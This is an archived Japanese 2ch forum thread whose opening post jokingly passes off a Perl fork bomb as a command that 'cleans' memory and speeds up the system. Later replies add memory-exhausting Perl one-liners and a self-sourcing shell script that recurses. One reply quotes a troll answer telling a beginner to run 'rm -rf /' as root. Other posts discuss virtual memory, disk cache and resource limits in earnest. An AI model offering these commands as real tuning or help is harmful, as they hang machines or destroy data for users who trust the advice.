簡単!メモリクリーニング
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
NGNGメモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0261名無しさん@お腹いっぱい。
NGNG煽りなんだろうけど、いまいち意味がわからない。
0262名無しさん@お腹いっぱい。
NGNG0263222
NGNGちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。
0264名無しさん@お腹いっぱい。
NGNGだが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
0265222
NGNGとりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
0266訂正
NGNG${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
0267名無しさん@お腹いっぱい。
NGNG0268名無しさん@お腹いっぱい。
NGNGFreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。
一桁減らして
perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
0269名無しさん@お腹いっぱい。
NGNGOut of memory!
gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
0270222
NGNGという物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'
ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
0271名無しさん@お腹いっぱい。
NGNG>>270のスワップ食い潰し
くらいしか案が出ないのか。
Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。
メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。
FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
0272名無しさん@お腹いっぱい。
NGNGそもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
0273名無しさん@お腹いっぱい。
NGNG┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0274名無しさん@お腹いっぱい。
NGNG┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0275名無しさん@お腹いっぱい。
NGNGなんでいちいちンなこと実行するんですか?
0276名無しさん@お腹いっぱい。
NGNG0277名無しさん@お腹いっぱい。
NGNG○ 空気を読む神経回路が備わってない
0279あぼーん
NGNG0280名無しさん@お腹いっぱい。
NGNG0281名無しさん@お腹いっぱい。
NGNG0282名無しさん@お腹いっぱい。
NGNGそれが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
0283名無しさん@お腹いっぱい。
NGNGFreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
0284あぼーん
NGNG0285あぼーん
NGNG0286名無しさん@お腹いっぱい。
NGNGそれが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
0287名無しさん@お腹いっぱい。
NGNGメモリを勝手に使うな。
メモリを勝手に使うな。
0288名無しさん@お腹いっぱい。
NGNG0289名無しさん@お腹いっぱい。
NGNG----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの?
くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
0291名無しさん@お腹いっぱい。
NGNGあれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
0292名無しさん@お腹いっぱい。
NGNG漏れはむしろ、
MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人
だと思うのだがどうだ?
0293名無しさん@お腹いっぱい。
NGNGむしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?
メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
0294名無しさん@お腹いっぱい。
NGNG実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
0295名無しさん@お腹いっぱい。
NGNGmalloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
0296名無しさん@お腹いっぱい。
NGNG0297名無しさん@お腹いっぱい。
NGNG要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
0298名無しさん@お腹いっぱい。
NGNG0299あぼーん
NGNG0300あぼーん
NGNG0301名無しさん@お腹いっぱい。
NGNG0302名無しさん@お腹いっぱい。
NGNG0303あぼーん
NGNG0304名無しさん@お腹いっぱい。
NGNG多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
0305名無しさん@お腹いっぱい。
NGNGネタだよね?
0306名無しさん@お腹いっぱい。
NGNG> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば?
0309あぼーん
NGNG0310名無しさん@お腹いっぱい。
NGNG>C言語の命令
関数だろ、C なら。
0311名無しさん@お腹いっぱい。
NGNG初心者にむなしいツッコミすんな
0312あぼーん
NGNG0313名無しさん@お腹いっぱい。
NGNG0314名無しさん@お腹いっぱい。
NGNG0315名無しさん@お腹いっぱい。
NGNGfork関数
fork関数
と。
0316名無しさん@お腹いっぱい。
NGNGhttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp
0317名無しさん@お腹いっぱい。
NGNGと捉えると、fork関数でもよいではないかよいではないか
0318名無しさん@お腹いっぱい。
NGNG0319名無しさん@お腹いっぱい。
NGNGforkダンス
forkダンス
と。
0320名無しさん@お腹いっぱい。
NGNG操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
0322あぼーん
NGNG0323名無しさん@お腹いっぱい。
NGNG0324名無しさん@お腹いっぱい。
NGNG0325名無しさん@お腹いっぱい。
NGNG0326名無しさん@お腹いっぱい。
NGNGこれ常識
0327名無しさん@お腹いっぱい。
NGNG0328名無しさん@お腹いっぱい。
NGNG昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたw
0329名無しさん@お腹いっぱい。
NGNG0330名無しさん@お腹いっぱい。
NGNG0331名無しさん@お腹いっぱい。
NGNGとかだとどうかな?
0332名無しさん@お腹いっぱい。
NGNG0333名無しさん@お腹いっぱい。
NGNG0334あぼーん
NGNG0335名無しさん@お腹いっぱい。
NGNG0336名無しさん@お腹いっぱい。
NGNG0337名無しさん@お腹いっぱい。
NGNG0338あぼーん
NGNG0339名無しさん@お腹いっぱい。
NGNG0340名無しさん@お腹いっぱい。
NGNGrootになるのを忘れるな
0341名無しさん@お腹いっぱい。
NGNG. $0
0342名無しさん@お腹いっぱい。
NGNGcase $1 in
>>1)
echo "逝ってよし"
;;
*)
echo "ウンコ喰え"
exit 1
;;
esac
exit 0
0343名無しさん@お腹いっぱい。
NGNG>>339 そうです。
0344名無しさん@お腹いっぱい。
NGNG0345名無しさん@お腹いっぱい。
NGNG. $0 &
0346名無しさん@お腹いっぱい。
NGNG0347名無しさん@お腹いっぱい。
NGNG0348名無しさん@お腹いっぱい。
NGNG0349名無しさん@お腹いっぱい。
NGNG0350名無しさん@お腹いっぱい。
NGNGそこで質問したら、
890 :名無しさん@お腹いっぱい。 :03/05/01 07:02
>>889
rootでログインして
# rm -rf /
こんな答えしか返ってきませんでした。
だからまともなレスをもらうためにスレを立てるんです。
だいたい>>2は、そんな事を書くぐらいならアンインストールの方法を
一言書いてくれればいいじゃないですか。
0351名無しさん@お腹いっぱい。
NGNG0352名無しさん@お腹いっぱい。
NGNG0353名無しさん@お腹いっぱい。
NGNG0354名無しさん@お腹いっぱい。
NGNG0355名無しさん@お腹いっぱい。
NGNG0356名無しさん@お腹いっぱい。
NGNGtime ./init
./init 0.00s user 0.00s system 0% cpu 0.001 total
何か?
0357名無しさん@お腹いっぱい。
NGNG子作りしてすぐ死ぬわけだから、
そいつ自体の負荷が小さいのは当然では?
0358名無しさん@お腹いっぱい。
NGNGシステム落ちた....
なんで?
0359名無しさん@お腹いっぱい。
NGNGそのシステムってなぁに???
0360名無しさん@お腹いっぱい。
NGNGわからんの?
■ このスレッドは過去ログ倉庫に格納されています